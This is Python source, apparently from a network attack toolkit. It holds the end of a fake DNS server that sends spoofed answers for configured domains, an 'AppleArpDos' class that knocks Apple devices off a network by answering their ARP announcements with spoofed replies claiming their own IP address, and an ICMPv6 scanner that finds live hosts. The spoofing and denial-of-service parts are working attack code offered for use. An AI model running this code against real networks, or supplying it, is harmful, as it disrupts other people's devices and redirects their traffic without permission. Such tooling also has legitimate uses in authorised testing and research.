type(self._config[fake_domain_regexp] [query_type_string]) is list: addresses = self._config[fake_domain_regexp][ query_type_string] break # endregion # region Fake address is NOT set else: addresses = self._get_domain_address( query['name'], query['type']) # endregion # endregion # region DNS query name NOT in fake domains regexp list if addresses is None: addresses = self._get_domain_address( query['name'], query['type']) # endregion # endregion # region Answer addresses is set assert addresses is not None, 'Addresses in DNS answer is None!' # region Create answer list dns_answer_flags = 0x8080 for address in addresses: if address == 'no such domain': dns_answer_flags = 0x8183 answers = list() break else: answers.append({ 'name': query['name'], 'type': query['type'], 'class': query['class'], 'ttl': 65535, 'address': address }) # endregion # region Make dns answer packet dns_answer_packet: Union[ None, bytes] = self._dns.make_response_packet( ethernet_src_mac=request['Ethernet']['destination'], ethernet_dst_mac=request['Ethernet']['source'], ip_src=ip_src, ip_dst=ip_dst, udp_src_port=request['UDP']['destination-port'], udp_dst_port=request['UDP']['source-port'], transaction_id=request['DNS']['transaction-id'], flags=dns_answer_flags, queries=[query], answers_address=answers) # endregion # region Send DNS answer packet if dns_answer_packet is not None: self._raw_send.send_packet(dns_answer_packet) # endregion # region Print info message if success and query['name'] != '': self._base.print_success( 'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ', self._int_type_to_str_type(query['type']), ' domain: ', query['name'], ' answer: ', (', '.join(addresses))) if not success and query['name'] != '': self._base.print_info( 'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ', self._int_type_to_str_type(query['type']), ' domain: ', query['name'], ' answer: ', (', '.join(addresses))) self._write_to_log(from_ip_address=ip_dst, to_ip_address=ip_src, query_type=self._int_type_to_str_type( query['type']), query_name=query['name'], answer_address=(' '.join(addresses))) # endregion # endregion # endregion except AssertionError: pass
class AppleArpDos: # region Variables _base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows']) _utils: Utils = Utils() _arp: RawARP = RawARP() _sniff: RawSniff = RawSniff() _thread_manager: ThreadManager = ThreadManager(2) _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None} _target: Dict[str, Union[None, str]] = {'ipv4-address': None, 'mac-address': None} _quit: bool = False # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name (example: 'eth0') """ self._your = self._base.get_interface_settings(interface_name=network_interface, required_parameters=['mac-address', 'ipv4-address', 'first-ipv4-address', 'last-ipv4-address']) self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Start ARP DOS Apple device def start(self, target_ip_address: Union[None, str] = None, target_mac_address: Union[None, str] = None, quit: bool = False) -> None: """ Start ARP DOS Apple device :param target_ip_address: Target IPv4 address (example: '192.168.0.1') :param target_mac_address: Target MAC address (example: '12:34:56:78:90:ab') :param quit: Quit mode (default: False) :return: None """ try: # region Set variables self._quit = quit # endregion # region Set target self._target = self._utils.set_ipv4_target(network_interface=self._your['network-interface'], target_ipv4_address=target_ip_address, target_mac_address=target_mac_address, target_vendor='apple', exclude_ipv4_addresses=[]) # endregion # region Start _sniffer self._thread_manager.add_task(self._sniffer) # endregion # region Send first Multicast ARP request packets sleep(3) if not self._quit: self._base.print_warning('Send initial ARP requests') self._send_arp_requests(count_of_packets=10) # endregion # region Wait for completion self._thread_manager.wait_for_completion() # endregion except AssertionError as Error: if not self._quit: self._base.print_error(Error.args[0]) exit(1) except KeyboardInterrupt: if not self._quit: self._base.print_info('Exit') exit(0) # endregion # region ARP request sender def _send_arp_requests(self, count_of_packets: int = 10) -> None: """ Send initial network conflict ARP request packets :param count_of_packets: Count if ARP request packets (default: 10) :return: None """ random_ip_address: str = self._base.get_random_ip_on_interface(self._your['network-interface']) arp_init_request = self._arp.make_request(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], sender_mac=self._your['mac-address'], sender_ip=self._target['ipv4-address'], target_mac='00:00:00:00:00:00', target_ip=random_ip_address) self._raw_send.send_packet(packet=arp_init_request, count=count_of_packets, delay=0.5) # endregion # region ARP reply sender def _send_arp_reply(self) -> None: """ Send network conflict ARP reply packet :return: None """ arp_reply = self._arp.make_response(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], sender_mac=self._your['mac-address'], sender_ip=self._target['ipv4-address'], target_mac=self._target['mac-address'], target_ip=self._target['ipv4-address']) self._raw_send.send_packet(packet=arp_reply) if not self._quit: self._base.print_info('ARP response to: ', self._target['ipv4-address'], ' "' + self._target['ipv4-address'] + ' is at ' + self._your['mac-address'] + '"') # endregion # region Analyze packet def _analyze(self, packet: Dict) -> None: """ Analyze parsed network packet dictionary :param packet: Parsed network packet dictionary :return: None """ # region ARP packet if 'ARP' in packet.keys(): if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \ packet['ARP']['target-mac'] == '00:00:00:00:00:00' and \ packet['ARP']['sender-mac'] == self._target['mac-address'] and \ packet['ARP']['target-ip'] == self._target['ipv4-address'] and \ packet['ARP']['sender-ip'] == self._target['ipv4-address']: if not self._quit: self._base.print_info('ARP Announcement for: ', packet['ARP']['target-ip'] + ' (' + packet['ARP']['sender-ip'] + ')') self._send_arp_reply() # endregion # region DHCPv4 packet else: if 'DHCPv4' in packet.keys(): if packet['DHCPv4'][53] == 4: self._base.print_success('DHCPv4 Decline from: ', packet['Ethernet']['source'], ' IPv4 address conflict detection!') if packet['DHCPv4'][53] == 3: if 50 in packet['DHCPv4'].keys(): self._target['ipv4-address'] = str(packet['DHCPv4'][50]) self._send_arp_requests(count_of_packets=10) if not self._quit: self._base.print_success('DHCPv4 Request from: ', self._target['mac-address'], ' requested ip: ', self._target['ipv4-address']) # endregion # endregion # region Sniff ARP and DHCP request from target def _sniffer(self) -> None: """ Sniff ARP and DHCPv4 packets :return: None """ self._sniff.start(protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'], prn=self._analyze, filters={'Ethernet': {'source': self._target['mac-address']}, 'ARP': {'opcode': 1}, 'IPv4': {'source-ip': '0.0.0.0', 'destination-ip': '255.255.255.255'}, 'UDP': {'source-port': 68, 'destination-port': 67}}, network_interface=self._your['network-interface'], scapy_filter='arp or (udp and (port 67 or 68))', scapy_lfilter=lambda eth: eth.src == self._target['mac-address'])
class ICMPv6Scan: # region Set variables _base: Base = Base() _icmpv6: RawICMPv6 = RawICMPv6() _raw_sniff: RawSniff = RawSniff() _thread_manager: ThreadManager = ThreadManager(2) _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None, 'ipv6-link-address': None } _target: Dict[str, Union[None, str]] = { 'ipv6-address': None, 'mac-address': 'ff:ff:ff:ff:ff:ff', 'vendor': None } _results: List[Dict[str, str]] = list() _unique_results: List[Dict[str, str]] = list() _mac_addresses: List[str] = list() _retry_number: int = 3 _timeout: int = 3 _icmpv6_identifier: int = 0 # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name (example: 'eth0') """ self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=['mac-address', 'ipv6-link-address']) self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Analyze packet def _analyze_packet(self, packet: Dict) -> None: try: assert 'Ethernet' in packet.keys() assert 'IPv6' in packet.keys() assert 'ICMPv6' in packet.keys() assert 'type' in packet['ICMPv6'].keys() assert 'identifier' in packet['ICMPv6'].keys() # 129 Type of ICMPv6 Echo (ping) reply assert packet['ICMPv6']['type'] == 129, \ 'Not ICMPv6 Echo (ping) reply packet!' # Check ICMPv6 Echo (ping) reply identifier assert packet['ICMPv6']['identifier'] == self._icmpv6_identifier, \ 'ICMPv6 Echo (ping) reply bad identifier' # Add MAC- and IPv6-address in result list self._results.append({ 'mac-address': packet['Ethernet']['source'], 'ip-address': packet['IPv6']['source-ip'] }) except AssertionError: pass # endregion # region Sniffer def _sniff(self) -> None: """ Sniff ICMPv6 packets :return: None """ self._raw_sniff.start( protocols=['Ethernet', 'IPv6', 'ICMPv6'], prn=self._analyze_packet, filters={ 'Ethernet': { 'destination': self._your['mac-address'] }, 'IPv6': { 'destination-ip': self._your['ipv6-link-address'] }, 'ICMPv6': { 'type': 129 } }, network_interface=self._your['network-interface'], scapy_filter='icmp6', scapy_lfilter=lambda eth: eth.dst == self._your['mac-address']) # endregion # region Sender def _send(self) -> None: """ Send ICMPv6 packets :return: None """ request: bytes = self._icmpv6.make_echo_request_packet( ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst='ff02::1', id=self._icmpv6_identifier) self._raw_send.send_packet(packet=request, count=self._retry_number, delay=0.3) # endregion # region Scanner def scan(self, timeout: int = 3, retry: int = 3, target_mac_address: Union[None, str] = None, check_vendor: bool = True, exit_on_failure: bool = True, exclude_ipv6_addresses: List[str] = []) -> List[Dict[str, str]]: """ Find alive IPv6 hosts in local network with echo (ping) request packets :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param target_mac_address: Target MAC address (example: 192.168.0.1) :param check_vendor: Check vendor of hosts (default: True) :param exit_on_failure: Exit if alive IPv6 hosts in network not found (default: True) :return: List of alive hosts in network (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': 'fe80::1234:5678:90ab:cdef', 'vendor': 'Apple, Inc.'}]) """ # region Clear lists with scan results self._results.clear() self._unique_results.clear() self._mac_addresses.clear() # endregion # region Set variables if target_mac_address is not None: self._base.mac_address_validation(mac_address=target_mac_address, exit_on_failure=True) self._target['mac-address'] = target_mac_address self._timeout = int(timeout) self._retry_number = int(retry) self._icmpv6_identifier = randint(1, 65535) # endregion # region Run _sniffer self._thread_manager.add_task(self._sniff) # endregion # region Run _sender self._send() # endregion # region Wait sleep(self._timeout) # endregion # region Unique results for index in range(len(self._results)): if self._results[index]['mac-address'] not in self._mac_addresses: self._unique_results.append(self._results[index]) self._mac_addresses.append(self._results[index]['mac-address']) # endregion # region Get vendors if check_vendor: for result_index in range(len(self._unique_results)): self._unique_results[result_index]['vendor'] = \ self._base.get_vendor_by_mac_address(self._unique_results[result_index]['mac-address']) # endregion # region Exclude IPv6 addresses if len(exclude_ipv6_addresses) > 0: results: List[Dict[str, str]] = list() for unique_result in self._unique_results: if unique_result['ip-address'] not in exclude_ipv6_addresses: results.append(unique_result) self._unique_results = results # endregion # region Return results if len(self._unique_results) == 0: if exit_on_failure: self._base.error_text( 'Could not found alive IPv6 hosts on interface: ' + self._your['network-interface']) exit(1) return self._unique_results